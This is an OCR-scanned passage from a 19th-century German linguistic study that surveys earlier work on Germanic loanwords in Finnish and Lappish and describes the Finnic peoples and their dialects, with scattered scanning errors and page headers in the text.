zu untersuchen, und ich trage deshalb kein bedenken, die
aufgäbe der folgenden blätter auf eine Untersuchung der
ein Wirkung zu beschränken, welche die finnisch -lappischen
sprachen namentlich in älterer zeit von den germanischen
erfahren haben.
Wir beginnen mit einer Übersicht über die wichtigsten
früheren arbeiten, welche diesen gegenständ berühren, und
müsaen da, mit übergehung älterer, jetzt ganz bedeutungs-
loser versuche, zuerst den gelehrten schwedischen Sprach-
forscher des vorigen Jahrhunderts, Joh. Ihre, nennen. Es
sind namentlich zwei stellen in seinen werken, die uns hier
angehen. Die erste ist im 'Glossarium suiogothicum' (Upsala
1769) I, prooem. s. XL f., wo er eine anzahl Wörter auf-
zählt, die das finnische mit der spräche des Vulfila, dem
altnordischen oder den schwedischen mundarten gemein hat;
er nimmt an , dass diese Übereinstimmungen von einer gegen-
seitigen einwirkung herstammen, dass aber der gröste theil
der Wörter doch ihre quelle im finnischen habe und aus der
zeit herrühre , wo die Finnen in Skandinavien gewohnt haben
sollten. In seiner vorrede zu Lindahls und Öhrlings ' Lexicon
lapponicum' (Stockholm 1780) s. VIII— IX ff. geht er ferner
verschiedene schwedische Wörter durch , von denen er meint,
dass sie vom lappischen und finnischen in das schwedische
Literatnrübersicht. 5
herübergenommen seien, besonders weil -sie sich nicht in
den deutschen sprachen finden, oder weil man mehrere aus-
drücke für dieselben begriffe hat, z. b. stor^ varg, hcerdar,
hcegoma u. s. w. Auch in Ortsnamen, glaubt er, finden sich
manche spuren des finnischen und lappischen. Die meisten
der von ihm angefahrten Wörter haben indessen nach seiner
zeit ihre erklärung auf andere weise geftmden, oder sind
aus dem finnischen oder lappischen noch weniger erklärbar,
als aus dem schwedischen.
Von ihm gehen wir über zu R. K E as k, der mit
gewohnter gelehrsamkeit und scharfsinnigkeit an mehreren
stellen ein nicht unbedeutendes material für das vorliegende
thema gesammelt hat, ohne jedoch auf eine genauere Unter-
suchung einzugehen , und gewiss auch mit zu grosser geneigt-
heit, entlehnungen aus dem finnischen anzunehmen. Wenn
er so in seiner preisschrift: 'Om det gamle nordiske eUer
isl. Sprogs Oprindelse' (Kopenhagen 1818) s. 104 ff. ^ einige
* fälle' aufzählt, 'wo die finnischen sprachen die quelle für 5
nordische Wörter zu enthalten scheinen , oder wo sich wenig-
stens diese frage aufwerfen liesse,' so sind es doch nur die
wenigsten, von denen man selbst nur das letztere sagen
kann ; bei andern ist wieder ein unmittelbarer zusanmienhang
überhaupt zweifelhaft. Dasselbe gilt auch von dem darauf
. folgenden verzeichniss lappischer Wörter (s. 108 ff.) und in noch
höherem grade von den s. 106 angeführten * Übereinstim-
mungen mit den alten sprachen.' So kann finn. muutan,
ich tausche, verändere, eine causativableitung von muu,
ein anderer, nichts zu thun haben mit lat. mtdo, das von
moveo kommt; ebensowenig f. panen, ich setze, mit lat.
pono, einer zusammenziehung von "^po-si-no; f. siemen,
same, ist aus lit. semens (pl.) aufgenonmien , vgl. altslaw.
1) Eine etwas ausführlichere vergleichnng finnischer nnd nordischer
Wörter findet sich in seiner handschrift no. 46 auf der grossen königl.
bibl. in Kopenhagen. Zugleich will ich bemerken, dass die 'beispiele
von Worten, welche die Finnen von den Skandinaviern aufgenommen
haben,' die er in seiner oben citierten abhandlung s. 107 (nach Gyar-
mathi) anführt, nicht, wie es scheinen könnte, finnisch sind, sondern
schwedisch -lappisch, oder nach Basks Sprachgebrauch lappländisch.
6 Einleitung.
s^mq, russ. cBmh simja, stamm sSmen-; f. paimen, hirte,
von lit. pemu, st. pemen-, älter * paimen-; diese werte
können also nur mittelbar mit lat. semen und gr. Ttoifiijv
verglichen werden.
Der erste und bis jetzt einzige versuch einer ins einzelne
gehenden sprachlichen erörterung der Trage ist in einer
abhandlung von F. Dietrich (professor in Marburg) gemacht
worden: * Zeugnisse eines vorhistorischen Standes des schwe-
dischen und einer gothischen gestalt des altnordischen aus
dem lappischen und finnischen/ ^ Als hauptergebniss stellt
der Verfasser den im wesentlichen gewiss richtigen satz auf,
dass ^das lappische unter die ältesten erkennt-
nisquellen für das germanische überhaupt zu
stellen ist, denn hier finden sich entlehnungen aus dem
schwedischen nicht nur aus dessen heutiger gestaltung, son-
dern auch aus einer früheren , die älter ist als seine ältesten
gesetzbücher , und die mit dem altnordischen übereinstimmt;
daneben zeigen sich aber auch weiter entlehnungen aus
einer zeit, die der ältesten, der Eddasprache, vorangegangen
sein muss, wie sie sich sonst nur im gothischen darstellt.'
Bei aller anerkennung der Verdienste dieser arbeit kann man
doch nicht leugnen, dass sie, selbst abgesehen von minder
richtigen einzelnheiten, an verschiedenen mangeln leidet.
6 Der schlimmste ist der , dass das material , besonders was
das lappische angeht , durchgehends so schlecht und unzuver-
lässig ist; hier ist nämlich des Verfassers einzige quelle
Lindahls und Öhrlings Wörterbuch gewesen, das nicht nur
sich an die am meisten entartete mundart anschliesst, son-
dern auch, wie bereits Kask (Sainl. Afh. II, s. 337) bemerkt
hat, an sich sehr unkritisch und nachlässig ausgearbeitet
ist. ^ Ferner ist zu beklagen , dads trotz des titeis so gut
wie gar keine rücksicht auf das finnische genommen worden
ist, in welchem namentlich ^e ältesten entlehnungen zum
grösten theü in durchsichtigerer und ursprünglicherer form
1) In Hoefers Zeitschr. für die Wissensch. der Sprache III (1851),
s. 32 if.
2) Diese unglückselige quelle für das lappische liegt auch den
gleicli unten angeführten deutschen werken zu gründe.
Literatorübersicht. 7
vorliegen ; diess in Verbindung mit mangelhafter kenntniss
der eigenthümlich lappischen lautübergänge hat es dem verf.
z. b. unmöglich gemacht, den wichtigen pünkt von den
endungen in den entlehnten Wörtern genauer zu behandeln. —
Ohne bedeutung ist eine frühere abhandlung desselben Ver-
fassers ' Deutsches aus dem lappischen / ^ die sich in unsichere
und weitschweifige vermuthungen verliert, welche fast alle
wegen der unzuverlässigkeit des materials zusammenfallen.
Von andern deutschen gelehrten , bei denen beitrage zu
finden sind, ist namentlich J. Grimm hervorzuheben (in
der ^Geschichte der deutschen spräche' an manchen stellen,
in einzelnen abhandlungen , wie *Ueber das finnische epos'^
und 'Ueber finnische Wörter'^); sowie auchL. Diefenbachs
* Vergleichendes Wörterbuch der gothischen Sprache' ein mit
grossem fleiss gesammeltes , aber unübersichtliches und allzu
wenig gesichtetes chaos hieher gehörenden Stoffes enthält
Beide, besonders Grimm, scheinen eine gegenseitige einwir-
kung der germanischen und der finnischen sprachen anzu-
nehmen^; daneben herrscht indess auch bei beiden eine sonder-
bare Unklarheit in der häufigen annähme einer ursprünglichen
stamm Verwandtschaft, und das nicht nur bei fernerliegenden
und oft sehr unsichern vergleichungen, sondern bisweilen
auch bei so deutlichen Wörtern, wie (bei Grimm) finn.
multa, stauberde, kulta, gold, akana, spreu u. a. m.^7
Noch muss ich einige wenige im Norden erschienene
abhandlungen nennen, welche die sache mehr vom cultur-
historischen , als vom sprachlichen Standpunkt aus betrach-
ten. P. A. Munch: *0m Finlands Nationalitet og dens
Forhold til den svenske ' ^ ist eine populäre betrachtung mit
1) In Haupts Zeitschr. f. deutsches alterth. VII (1849), s. 177 ff.
2) In Hoefers Zeitschr. I (1846) , s. 18 ff.
3) In den Berichten üb. d. Verh. der Berl. Akad. 1847, s. 175.
4) Grimm sagt sogar an einer stelle (Hoefer I, s. 19): *Der nor-
dischen mundart scheinen aber alle solche ausdrücke aus dem finni-
schen zugeführt, die sie mit den übrigen Deutschen nicht geraein
hat' (!)
5) Vgl. auch Gabelentz u. Loebe, ülfilas H, 2 (Grammatik), s. 4.
6) In der Norskt Maanedskrift, udg. af. P. A. Munch, I (1856),
8. 1 — 39.
8 Einleitung.
^wesentlich politischer tendenz, veranlasst durch den krieg
zwischen Eussland und den Westmächten. Indem er darin,
vielleicht nich{ immer ganz vorurtheilsfrei, zu beweisen sucht,
dass Pinnland seine ganze cultur von Schweden aus empfangen
habe , holt er auch Zeugnisse hierfür aus sprajßhlichen entleh-
nungen. In diesem punkte hat des Verfassers scharfer und
klarer blick in der hauptsache unzweifelhaft das richtige
gesehen (s. 26*); aber die einzelheiten , die er anführt, sind
von geringer bedeutung und beweisen nur zu oft , dass er sich
auf einem boden befindet, wo er nicht ganz heimisch ist. ^
J. A. Lindström: 'Om den keltisk-germaniska kul-
turens inverkan pä finska folket' (Tavastehus 1859) enthält
wol einiges neue und richtige, leidet aber zugleich an einem
so durchgehenden mangel an kritik in den einzelheiten und
Verwirrung in der ganzen behandlungsweise , dass diese
8 arbeit keine wesentliche bedeutung haben kann.
Endlich hat A. Ahlqvist (professor in Helsingfors)
eine abhandlung *0m Finska spräkets kulturord; ett lin-
guistiskt bidrag til Pinnarnes äldsta kulturhistoria' ^ geschrie-
1) Als beweis für diese behauptung will ich mir erlauben ein
schlagendes beispiel anzuführen, um so mehr, als dieses für den ersten
augenblick etwas sehr wahrscheinliches zu enthalten scheinen könnte.
S. 4 stellt der verf. eine neue erklärung des wortes Suomi (Pinnland,
nicht *Suome') auf, indem er meint, dass dasselbe vielleicht *das^
gebirgige' bedeutet, da das wort suomus *gebirge' und suomui-
nen * gebirgig' heisst. Aber suomus heisst nichts anderes als
* schuppe' und suomuinen * schuppig'. Der verf. muss also in
einem finn. - schwedischen Wörterbuch die beiden schwedischen Wörter
fjälly squama, und f jelly mons, wie man sie jetzt gewöhnlich schreibt,
verwechselt haben. — Das unhaltbare in des Verfassers mehr genialem,
als für die urtheilskraft der Finnen schmeichelhaftem versuch, die
beiden Wörter lukea, lesen, und lukita, verschliessen , durch eine
vermeintliche Vermischung der zwei verschiedenen schwedischen Wörter
läsa zu identificieren , ergibt sich alsbald, wenn man weiss, dass das
erstere in allen finnischen sprachen mit der grundbedeutung „zählen,
rechnen " vorkommt und also ursprünglich ist , während das letztere
dem finnischen eigenthümlich und natürlich aus den nordischen spra-
chen entlehnt ist.
2) In der Zeitschrift Suomi, toinen jakso (d. h. 2te reihe) VI (1866),
s. 67 — 114. Diess ist nur der erste theil, die fortsetzung ist, wie ich
glaube, noch nicht erschienen.
Literatarubersicbt. 9
ben. Was man am meisten dagegen einwenden kann, ist
eine all zu grosse kübnheit in seinen vergleichungen und
den daraus gezogenen culturhistorischen Schlüssen. Die
abhandlung erregte deshalb auch gleich bei ihrem erscheinen
einigen widersprach, der sich in verschiedenen mehr oder
weniger gründlichen beurtheilungen äusserte. ^
Unsere aufgäbe hat also keineswegs der behandlung
entbehrt; oft ist hervorgehoben worden, wie wichtig ihre
lösung für die spräche und culturgeschichte der an altern
denkmälern so dürftigen finnischen Völker ist, und in wie
hohem grade sie dazu dient, die ältere gestalt der germa-
nischen, besonders der nordischen sprachen zu beleuchten.
Dessenungeachtet kann das, was bisher darüber ei'schienen
ist, bei weitem nicht für erschöpfend gelten, und ich hofiFe
deshalb, däss der folgende versuch einer strengeren, rein
sprachlichen Untersuchung der frage, gegründet auf ein, wie
ich glaube, im ganzen zuverlässiges material, nicht ganz
überflüssig sein wird, besonders in sprachgeschichtlicher hin-
sieht und zugleich als ein beitrag zu künftigen culturhisto-
rischen forschungen. — Da wir uns dabei mit mehrer^i
Völkern und sprachen zu beschäftigen haben werden, die
vielleicht den meisten lesern minder bekannt sein dürften,
wird es am besten sein, eine kurze Übersicht über die ganze
finnische volksklasse und einige bemerkungen über die noth-
wendigsten sprachlichen vorbegriffe vorauszuschicken.
IL
Die finnische volksklasse. Die Schweden in Pinnland
und Ehstland.
Die finnische volksklasse theilt sich bekanntlich in zwei
stamme, den finnischen und den lappischen. Wir
wollen zuerst den letztern betrachten.
1) Z. b. von D. E. D. Enropaeus in Pinlands allm. tidning, 1867,
no. 128—132, nnd in Kirjallinen Kuukauslehti (d.h. literarische Mo-
natschrift) 1867, no. 5. Doch werden auch hier meiner Überzeugung
nach manche nicht hieher gehörende dinge zusammengeworfen. Derselbe
gelehrte hat auch sonst kleinere beitrage zu unserem thema geliefert,
aber beinahe nur in wenig zugänglichen Zeitungsartikeln.
10 Einleitung.
Die Lappen^ sind ein wenig zahlreiches volk im
hohen norden. Sie wohnen jetzt zunächst im nördlichsten
theile der skandinavischen halbinsel , d. h. in der norwegi-
schen landschaft Finnmarken nebst einzelnen gebieten südlich
davon und in Schweden bis Jemteland, hier jedoch eigentlich
nur in den innern und höher gelegenen gegenden; ferner in
Finnland, wo sie indessen mehr und mehr in den Finnen auf-
gehen und jetzt fast^ nur im allernördlichsten theile bis etwas
südlich vomEnaresee vorkommen; endlich finden sie sich in
Bussland in verschiedenen strichen der halbinsel Kola. Unge-
fähr diese selben gegenden umfasste man in der sagazeit
unter dem namenFinnmörk; ihre bewohner musten bekannt-
lich schon früh tribut an Norwegen bezahlen. * Dass sie in
Finnland früher, jedoch zum theil in nicht so sehr ferner
Vorzeit, bedeutend weiter gegen Süden sich erstreckt haben,
davon finden sich in volkssagen und Ortsnamen manche
spuren. Ob sie dagegen in Skandinavien irgend wesentlich
südlicher gewohnt haben als jetzt, ist in hohem grade
unsicher. In den sagas heissen sie stets Finnar, wie sie
die Norweger noch jetzt gewöhnlich nennen. Das volk selbst
gebraucht dagegen ebensowenig diesen, als den später auf-
gekommenen namen Lappen (von noch nicht sicher erörter-
tem Ursprung), sondern nennt sich S ahme, gewöhnlich
pl. Samek, oder SabmelaS, pl. -la?ak, und das land
Same-8ednam.
Der andere stamm, die Finnen, theilt sich wieder in
10 zwei zweige, den karelischen und den jämischen.^
1) Die neueste schrift über sie ist: J. Vahl, Lapperne og den
lapske Mission (Kopenhagen 1866 — 67) , ein werk , worin fast alle
älteren und jüngeren queUen mit grossem fleisse benutzt sind, im
philologischen jedoch nicht mit der wünschenswerthen kritik. Über
die sprachlichen hilfsmittel s. unten.
2) Vgl. P. A. Munch, Om Finnemes politisk-commercielle Forhold
til den norske Stat, in den Annaler for nord. Oldkjudighed 1860,
s. 336 ff.
3) um nicht besonderen oder erst später aufgekommenen namen eine
zu weite bedeutung zu geben , könnte man diese vielleicht besser den
nördlichen und südlichen oder, wenn man wiU, den östlichen und
westlichen zweig neimen.
Die finnische volksklasse; der läpp, und finn. stamm. 11
Zum grösten theil sind diese ziemlich deutlich getrennt,
doch . stehen sie einander so nahe j dass es schwierig ist,
ganz bestinmite und durchgehende sprachliche Unterschei-
dungszeichen aufzustellen ; zum theil scheint diess daher zu
kommen, dass sie in den meisten gegenden wieder auf ein-
ander eingewirkt haben.- Namentlich gilt diess gewiss in
Pinnland , wo die beiden zweige frühzeitig zusammenstiessen,
ehe die Verschiedenheit zwischen ihnen so gross war, wie
siß jetzt zwischen den äussersten punkten ist, und wo sie
sich deshalb mehr als anderswo ausgeglichen haben, so dass
es möglich wird, von einem finnischen volk und einer fin-
nischen spräche (Suomi, Suomalaiset) zu sprechen,
obwol sich in den mundarten die eigenthümlichkeiten
der zwei zweige noch jetzt mehr oder weniger deutlich
verfolgen lassen. ^ Wenn wir danach die eintheilung
durchführen wollen, so bekonunen wir etwa folgende
anordnung.
Der karelische zweig wohnt im östlichen Finnland
etwa bis zu einer linie zwischen den städten Frederikshamn
und Ny-Carleby, ferner in den angrenzenden theilen von
Bussland ,. sowie auch in den gouvernements Nowgorod , Twer
und Jaroslaw ; so weit gegen süden sind sie jedoch erst nach
dem frieden von Stolbowa übergesiedelt. Die mundarten lassen
sich auf vier hauptgruppen zurückführen: die russisch-
karelische, die sich auch ein wenig nach Finnland hinein
erstreckt, NO. vom Ladogasee;* die olonetsische („Liv-
V in- kieli," im gouvern. Olönets, finn. Aunus), welche
etwas von dem andern zweige beeinflusst zu sein scheint,
übrigens sehr wenig bekannt ist; die finnisch -kareli-
sche, welche von den Karelen (finn. Karjalaiset, alt-
1) Eine ethnographische karte von Finnland bietet z. b. Eoeppen,
Finnland in ethnographischer Beziehung^ in den Memoires de Tacad.
imp. de St. Petbg. VI. serie. Sc. pol., bist., pbilol. VII (1848),
s. 431 ff.
2) Diese mnndart liegt fast nur in einer Übersetzung des Matthseas-
evangelinms vor, von der Ahlqvist einen abdruck, begleitet von
anmerkongen'über die spräche, besorgt hat, in der ztschr. Suomi,
2te reihe IV (1865), s. 1 — 112.
12 Einleitung.
nord. Kyrjalar) in Finnland und in dem grösten theil von
Ingermanland gesprochen wird; diese ist es ungefilhr, in
welcher die finnischen Volksdichtungen herausgegeben sind ;
endlich die mundart in der finnischen landschaft Sa vol-aks,
die sich etwas dem jämischen zweige nähert.
Früher hat sich dieser zweig indessen etwas weiter
erstreckt. Zu ihm gehörte unzweifelhaft wenigstens die herr-
schende bevölkerung des berühmten und von den Skandina-
11 viern oft besuchten und erwähnten Bjarmeland, die Bjarmar
der sagas, die Beormas Ottars; diess ist derselbe name,
der in russischen Chroniken und noch heutigen tages in der
form riepMb Term vorkommt, der aber als volksname frei-
lich einer ganz andern volksklasse beigelegt wird. In den
russischen Chroniken wird dasselbe volk auch aaBOAO^ecKan
V
ny Ab mwoloceskaja cudC genannt , d. h. die Cuden jenseits
des woloh oder der grossen unbebauten waldstrecke. ^ Von
ihrer spräche ist nur der name für gott uns in den islän-
dischen sagas in der form Jömali* überliefert; aber diess
nebst den erhaltenen Ortsnamen gibt hinlänglich ihre natio-
nalität an. Seine blüthezeit hatte das reich der Bjarmar
etwa vom 8 — 12 Jahrhundert; von da an fiengen die Bussen
an, sie zu überwältigen, was zur folge hatte, dass sie all-
1) Vgl. Castren, Anmärkningar om Savolotschesskaja Tschad (in
der ztschr. Snomi 1844 , s. 1 ff. , deutsch in seinen Kleineren Schrif-
ten =» Nord. Reisen u. Forsch. V, s. 86 ff.) und verschiedene stellen
der in Sjögrens Gesammelte Schriften I (St. Petershurg 1861) aufge-
nommenen abhandlungen.
2) Finn. jumala, läpp, jubmel, ibmel, das (s. Castren, Vor-
les. üh. die finnische Mythol. = Nord. Reis. u. Forsch, m, s. 12 ff.,
B. 22ff.) von dem stamme des finn. verhums j um ata, lärmen^ don-
nern, mit der ableitungsendung -la herkommt, welche die statte
bezeichnet; eigentlich bedeutet das wort also wol 'himmel', dann
*gott'; der finn. und ehstn. ausdruck für himmel, taivas, ist dagegen
aus lit. devaSy gott, entlehnt. Die Syrjänen, die jetzigen be wohner
eines theils des alten Bjarmeland, nennen gott Jen (stamm jenm-),
das nicht, wie Castren annimmt, mit jumala verwandt sein kann,
sondern wie wotjak. ilmar, inmar = finn. ilma, luft (wovon
Ilmari oder Ilmarinen, eine der personen in Kalevala, urspr.
luftgott), läpp, albme, himmel, ist; vgl. syrj. sin (st. sinm-) ==
finn. silmä, äuge; syrj. kyn = f. kylmä, kalt.
Der finnische stamm; der karel. und jämische zweig. 13
mählich theils auswanderten, theils ausgerottet wurden oder
sich mit dem erobernden volk vermischten.
Zu demselben zweig gehörten auch die Qu an er (finn.
Kainuulaiset, altn. Kvenir), ^ Diese werden schon im
8. jahrh. als im norden und zu beiden selten des bottnischen
meerbusens wohnend angeführt, der auch nach ihnen in
könig Alfreds Orosius Cvens<h genannt wird. Als die Nor- 12
weger im 9. jahrh. Jemteland und Helsingeland zu bevölkern
begannen, wurden die Quäner allmählich zurückgedrängt
und auch auf der finnischen seite verschwinden sie nach
Koskinens ansieht ungefähr um dieselbe zeit; dieser hält es
für wahrscheinlich , dass sie dann in den Lappen aufgegangen ^
seien, denen sie wol auch in der lebensweise glichen. Dass
die Norweger noch heute die Finnländer Quäner nennen,
erklärt sich leicht daraus, dass die Quäner das erste volk
finnischen Stammes waren , mit dem sie in berührung kamen.
Dagegen haben die schwedischen Lappen umgekehrt den
namen auf die neuen ein wohner übertragen, indem sie (nach
Lindahl und Öhrling s. 114) unter Kainolaö einen Schwe-
den oder Norweger verstehen.
Der jämische zweig ist zunächst in Finnland reprä-
sentiert durch den grösten theil der bevölkerung westlich
von der oben ungefähr angegebenen linie. Diese gehören
hier wesentlich zwei unterabtheilungen an: Tawasten
(f. Hämäläiset, sing. -Iäinen, altn. Taf-eistar) im
Osten* und eigentliche Finnen im westen. Diese letz-
tem, die in russischen Chroniken unter dem namen Cjmb
Sum' erwähnt werden,, müssen wol die zuerst eingewander-
ten sein, sowie sie es auch später waren, mit denen die
Schweden zuerst in berührung kamen und unter denen sie
zuerst das christenthum und damit ihre herrschaft ausbrei-
teten; ohne allen zweifei haben sie auch dem ganzen lande,
als politische einheit betrachtet, seinen finnischen namen
Suomi oder bestimmter Suomen-maa, ehst. Söme-mä,
- 1) Vgl. Rask, Saml. Afh. I, s. 357 ff. Castren, Ethnolog. Vor-
lesungen =^ Nord. Eeis. u. Forsch. IV, s. 146 f. und bes. Y. Koskinen
Pohjanmaan asuttamisesta in der ztschr. Suomi 1857, s. 113 ff.
14 Einleitung.
wot. Sömg-mä, liv. Süomö-mö, läpp. Suoma-sednam^
13 gegeben , und von ihrer mundart ist die finnische (prosaische)
büchersprache (die bibelsprache) ausgegangen. Auch die
Tawasten werden in russischen ghroniken unter dem namen
^Mb Jam zuerst im jähre 1042 erwähnt. Wie J. A. Sjögren *
gezeigt hat, wohnten indessen diese Jämen nicht in Finn-
1) Was dieser name bedeutet, ist sehr bestritten und unsicher.
Die gewöhnlichste erklärung von suo, sumpf, ist, wie schon längst
erwiesen, unmöglich, u. a. weil das m oifenbar zur wurzel gehört,
und sollte nicht mehr wiederholt werden. Es ist klar, dass es dasselbe
wort ist wie der läpp, name Sabme, gen. Same (vgl. läpp, varre,
•gen. vare, berg, = finn. vuori, ostfinn. auch vaara); aber was es
bedeutet , wage ich nicht zu entscheiden. Ich sehe keinen andern aus-
weg, als entweder anzunehmen, dass es ein alter gemeinsamer name
für die ganze finnische volksklasse ist, den zufällig nur diese zwei
Völker bewahrt haben, oder dass das eine volk ihn von dem andern
aufgenommen oder geerbt hat, und in diesem falle gebührt das Vor-
recht wol den Lappen als den frühesten einwohnern; das letztere ist
wol am wahrscheinlichsten. Hat eine ähnliche rücksicht J. F. Kajaani
dazu bewogen, in seiner Suomen historia (d. h. geschichte Finnlands)
I* (1866), s. 33 die vermuthung zu äussern, dass diese *Sumen' oder
* Suomalaiset ' durch eine Vermischung von 'Hämäläiset', und Lappen
entstanden sein könnten? Merkwürdig ist die Übereinstimmung mit
dem nord. Sprachgebrauch, denn in den sagas sind F in na r in der regel,
wie schon bemerkt, 1) Lappen, einwohner von Finnmörk (und ebenso
Ottars Finnas und auch wol Tacitus' südlicher wohnende Fenni);
aber auch iJ)==Finnlendingar, bewohner von Finnland, welches
keine so weite ausdehnung hat, als jetzt, aber deutlich genug 'dem
eigentlichen Finnland' entspricht, während alle andern stamme, wie
oben angeführt, besondere namen haben; daraus ist schliesslich später
die jetzige bedeutung hervorgegangen. Übrigens ist auch der Ursprung
dieses namens sehr unsicher; ihn vonaltn. fen, schlämm, moor, abzu-
leiten und eine bestätigung dafür in der ableitung des finn. namens
von suj) zu finden, geht schon aus sprachlichen gründen nicht an, da
das e in fen durch umlaut aus a entstanden ist (got. fani, nrjko?),
der name jedoch sich unverändert bis zu einer zeit zurückverfolgen
lässt, wo der i- umlaut noch nicht eingetreten war. An einen ablaut,
wie Zeuss (Die Deutschen und die Nachbarst, s. 272 **) will, kann
man kaum denken. Dazu kommt noch, dass natürlich das land nach
dem Volke y nicht das volk nach dem lande benannt ist.
2) lieber die älteren Wohnsitze der Jemen, in Sjögrens Gesamm.
Schriften I, s. 461 ff. (=== Mem. de Tacad. imp. des sciences, VI. serie.
Sc. pol., bist, et philol. I, s. 263 ff.).
Der finnische stamm; der jämische zweig. 15
land , sondern in Bussland , sadöstl. und östl. vom Ladogasee,
und wurden im 12. jahrh. von den Kussen überyninden;
doch liegt kein grund vor, anzunehmen, dass sie erst damals
nach Finnland eingewandert seien.
Ausserhalb der grenzen Finnlands finden sich noch
höchst merkwürdige volksstämme von diesem zweige. Be-
ginnen wir im Osten, so sind zunächst die Wepsen oder
Nord-Cuden zu nennen, ein kleines volk von etwa
16,000 Seelen, das so zu sagen von Sjögren wieder entdeckt
ist. ^ Sie wohnen in zwei gruppen , einer nördlicheren längs
der südwestlichen küste des Onega vom ausfluss des flusses 14
Swir aus demselben bis gegen die stadt Petrozawodsk hin,
und einer südlicheren an den oberen Verzweigungen des Ojat,
eines nebenflusses des Swir, bis beinahe zur westlichen küste
V
desB^lozero. Die Bussen nennen dieses volkCuden, ein name,
den dasselbe zum theil auch selbst angenommen hat; doch
nennt die nördliche gruppe ihre spräche gewöhnlich L ydin -
oder Ljüdin-kel (von russ. aioah Ijtidi, leute, volk), die
sudliche dagegen Vepsan-kel, welches der ursprüngliche
name sein muss und auch von den Karelen in Olonets zur
bezeichnung derselben gebraucht wird. Ohne etwas entschei-
den zu wollen, füge ich noch hinzu, dass die früheren Ver-
fasser in diesem namen denselben gefunden haben, der bei
Nestor in der form Becb Wes' vorkommt als bezeichnung
far einen damals weit zahlreicheren und ausgebreiteteren
stamm, dessen letzter rest nun dieses kleine volk sein sollte;
neuerdings hat dagegen D. E. D. Europaeus zu zeigen ver- '
sucht, dass der name Wes' einem ganz andern Volke von
der ugrischen klasse gehört, welches früher in diesen gegen-
1) A. a. 0. 8. 468 ff. (= 272 ff.). «A. Ahlqvist, Muistelmia mat-
koilta VenäjäDä (d. h. Reiseerinneningen aus Eussland ; 1859), s. 55 ff.
72 ff. E.Lönnrot, Om det nord - tschudiska spraket, Helsingfors 1853.
Ahlqvist, Anteckningar i nord-tschudiskan , in den Acta soc. scient.
fenn. VI, s. 49 ff. Durch herrn prof. Lönnrots gute habe ich ausser-
dem einzelne handschriftliche aufzeichnungen über diese spräche
benutzen können. Wegen unserer hauptaufgabe muss ich dennoch
beklagen^ dass die quellen für die kenntniss des Wortvorrates dieser
spräche so unvollständig sind.
16 Einleitung.
den gewohnt haben sollte. Die spräche ist sehr wichtig,
namentlich weil sie in mehreren punkten auf einer älteren
stufe steht, als irgend eine der verwandten mundarten, und
weil sie zu den reinsten sprachformen des jämischen Zwei-
ges gehört
Weiter im westen begegnen wir in einigen dörfem des
nordwestlichsten Ingermanlands einem andern, noch kleine-
ren Volke, den Woten oder Watländern; ^ dieselben
nennen sich selbst Vadj alaiset, von den Finnen werden
sie Vatjalaiset, von den Kussen jetzt Cuden, in den
alten Chroniken dagegen Boa^ Wo^ genannt. In früheren
Zeiten erstreckten sie sich viel weiter und waren vielleicht
die ältesten bewohner mindestens eines grossen theiles von
Ingermanland ; aber sie wurden nach und nach immer mehr
zurückgedrängt. Die spräche ist in mehreren beziehungen
interessant, doch nicht so rein jämisch oder so alt in ihren
formen, als das wepsische.
Bei weitem zahlreiclier sind die E h s t e n , ^ deren spräche
15 in zwei hauptmundarten zerfallt, die revalsche, welche
vom grösten theil der bevölkerung Ehstlands und des nörd-
lichsten theiles von Livland, und die do r patsche, die
von den um die städte Dorpat und Werro herum wohnenden
1) S. Sjögren, Ueber die finn. Bevölkerung des St. Petersburg.
Gouvernements und über den Ursprung des Namens Ingermannland,
in seinen Ges. Scbr. I, s. 557 ff. (== Mem. de Tacad. imp. VI. s^rie, IT.
s. 145 ff.). A. Ahlqvist, Votisk grammatik jemte spräkprof . och
ordforteckning, in den Acta soc. sc. fenn. V, s. 1 — 162. Vgl. auch
Wiedemann, Ueber das Wotische in seiner Stellung zum Ehstnischen,
im Bull, de la cl. bist. - philol. de l'acad. imp. Xni (1856) , p. 299 ff.
327 ff
2) Hinsichtlich der spräche verweise ich auf E. Ähren s , Gramma-
tik der Ehstnischen Sprache Eevalschen Dialektes. Eeval 1853. Vgl.
Wiedemann, Ueber die neuere Behandl. der ehstn. Gramm., im Bull,
de la cl. bist. -philol. de Tacad. imp. XUI, p. 33 g. A* W. Hupel,
Ehstnische Sprachlehre für beide Hauptdialekte, den revalischen und
dörptschen, nebst voUständ. Wörterb. Riga 1780. Diess letztere war
früher das einzige brauchbare Wörterbuch, ist aber jetzt durch das
vor kurzem erschienene grosse Ehstiüsch- deutsche Wörterbuch von
F. J. Wiedemann, St. Petersb. 1869, das auch hier berücksichtigt
worden ist, überflüssig gemacht.
Der finnische stamm; der jämische zweig. 17
Ehsten gesprochen wird. Was ihren namen anbelangt, so
gebrauchen sie selbst gewöhnlich nur die bezeichnung Mä-
rahvas, landvolk, und Mä-kel, landsprache; Esti-mä
als bezeichnung der eigentlichen landschaft Ehstland haben
sie von den nachbarvölkern entlehnt, namentlich wol von
den Deutschen, welche wiederum den namen Ehsten auf sie
von den Mheren bewohnern übertragen haben; dwm Taci-
tus' Aestii und noch Vulfstäns Estas gehören unzweifel-
haft dein baltischen (lettisch -litauischen) zweige an. ^
Südlich von ihnen haben wir endlich noch ein interes-
santes kleines volk, das in kurzer zeit vielleicht ganz ver-
schwunden sein wird, die Liven. ^ In Livland selbst hat
ihre anz^hl so abgenommen, dass sich 1859 auf dem gute
Salis nur 8 personen fanden, die noch etwas von der livischen
spräche verstanden. Ausserdem finden sich ungefähr 2000
Liven an der küste von Kurland von Lyserort an bis etwas
über Domesnäs hinaus. Letztere sind gewiss als nachkom-
men der im mittelalter als Seeräuber bekannten Kuren,
Nestors Kopcb jKors', zu betrachten , die nicht ein lettisches
oder litauisches, sondern gerade ein finnisches volk waren.
Uebrigens hat Y. Koskinen ^ gezeigt, dass die ursprünglichen
1) Vgl. Zeuss, Die Deutschen und die Nachbarstämme, s. 267 ff.
u. 667 ff. Estbland zu schreiben ist ganz sinnlos; die richtige deutsche
Schreibart ist Ehstland, wo das h die länge des e bezeichnet.
2) Alles ihre geschichte und spräche betreffende ist gesammelt in
J. A. Sjögrens Gesamm. Schrr. II, 1 — 2, bearb. von F. J. Wie de -
mann (1. Livische Gramm, nebst Sprachproben. 2. Liv. -deutsches
und deutsch -liv. Wörterb. St. Petersbg. 1861.). Eine kürzere über-
sieht gab Wiedemann im Bull, de la classe bist. -philol. de Tacad.
imp. X\l(18r)9), p. 193 — 201; 209—220; 225 — 241 (Ueb. die livische
Sprache und ihr Yerhältniss zu der ehstnischen).
